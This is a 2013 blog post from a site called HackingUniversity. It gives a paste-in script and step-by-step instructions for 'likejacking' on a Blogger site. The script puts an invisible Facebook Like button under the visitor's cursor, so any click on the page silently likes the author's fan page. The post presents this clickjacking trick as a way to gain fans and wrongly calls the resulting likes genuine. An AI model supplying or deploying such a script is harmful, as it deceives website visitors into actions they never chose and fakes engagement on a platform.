HackingUniversity - Hacks . Tricks . How-To's

22 August 2013

Automatically Increase Facebook Fans with Webpage Script

Facebook has already been a nice place to get more fans and share stuff and updates with them, more fans on your page means more exposure to your unique content. There are already many means of getting more and more Facebook likes and other stuff like we have posted auto facebook followers. Well today we have found another simple to be applied script for your blogs or website which can gain few more unique likes to your Facebook page, with this script applied any unique visitor who comes to your page can become your fan.

He just needs to click anywhere on the webpage as a small invisible like button will follow his mouse cursor and as soon he clicks anywhere he will be liking your fan page. So the best part about this script is that the person who is liking your page is genuine as he has been referred right from your website, So now straight away jumping on how it can be applied in a webpage or blog just check below step by step tutorial.

  1. Go to Blogger > Template > Edit HTML.
  2. Press Ctrl + F and search for </body> tag and paste the below script above it.

    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript"></script><script type='text/javascript'> function ClickJackFbHide(){jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).hide();}function ClickJackFbShow(){jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).show();}</script><div id='clickjack-button-wrapper-5' style='position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:&apos;progid:DXImageTransform.Microsoft.Alpha(Opacity=0)&apos;;  margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden'><!--<div class="clickjack-mask" style="position: absolute; top: 5px; left: 5px; z-index: 1000; height: 13px; width: 15px;"></div>--><iframe allowTransparency='true' frameborder='0' scrolling='no' src='http://www.facebook.com/plugins/like.php?href=http://www.facebook.com/hackinguniversity.in&amp;layout=button_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;colorscheme=light&amp;height=21' style='border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;'/></div><script type='text/javascript'>jQuery( document ).ready( function(){$( &quot;#clickjack-button-wrapper-5&quot;).parent().mousemove( function( e ){jQuery( &quot;#clickjack-button-wrapper-5&quot;).css({top: e.pageY - 10, left: e.pageX + 30});});clickjack_hider();var clickjack_fb_timer=setTimeout(&quot;clickjack_hider()&quot;,5000);});function clickjack_hider(){jQuery(&quot;input&quot;).mouseout(function(){ClickJackFbShow();});jQuery(&quot;a&quot;).mouseout(function(){ClickJackFbShow();});jQuery(&quot;button&quot;).mouseout(function(){ClickJackFbShow();});jQuery(&quot;textarea&quot;).mouseout(function(){ClickJackFbShow();});jQuery(&quot;.ratingblock&quot;).mouseout(function(){ClickJackFbShow();});jQuery(&quot;object&quot;).mouseout(function(){ClickJackFbShow();});jQuery(&quot;input&quot;).mouseover(function(){ClickJackFbHide();});jQuery(&quot;a&quot;).mouseover(function(){ClickJackFbHide();});jQuery(&quot;button&quot;).mouseover(function(){ClickJackFbHide();});jQuery(&quot;textarea&quot;).mouseover(function(){ClickJackFbHide();});jQuery(&quot;.ratingblock&quot;).mouseover(function(){ClickJackFbHide();});jQuery(&quot;object&quot;).mouseover(function(){ClickJackFbHide();});}</script>

  3. Now just replace the Blue line in above code with your Facebook page username and if you have already installed that jQuery Script just remove that Red line too and that’s it now just save the template and jump over to your website to test it out.

Now as soon as you refresh your blog you will see that your cursor has been changed into the hand one as there is a link moving with it. Now your blog readers will see similar thing and ass soon as they will click it they will become your page fan.

Remember There are some issues you might face using this script in your website or blog, the first thing is that when people drag they might not able to select the text as they will a semi visible Like button which will be attached to your mouse cursor as it moves, the second one some other gadgets might get affected and act weirdly, try using it if everything works ok than start increasing your fans :)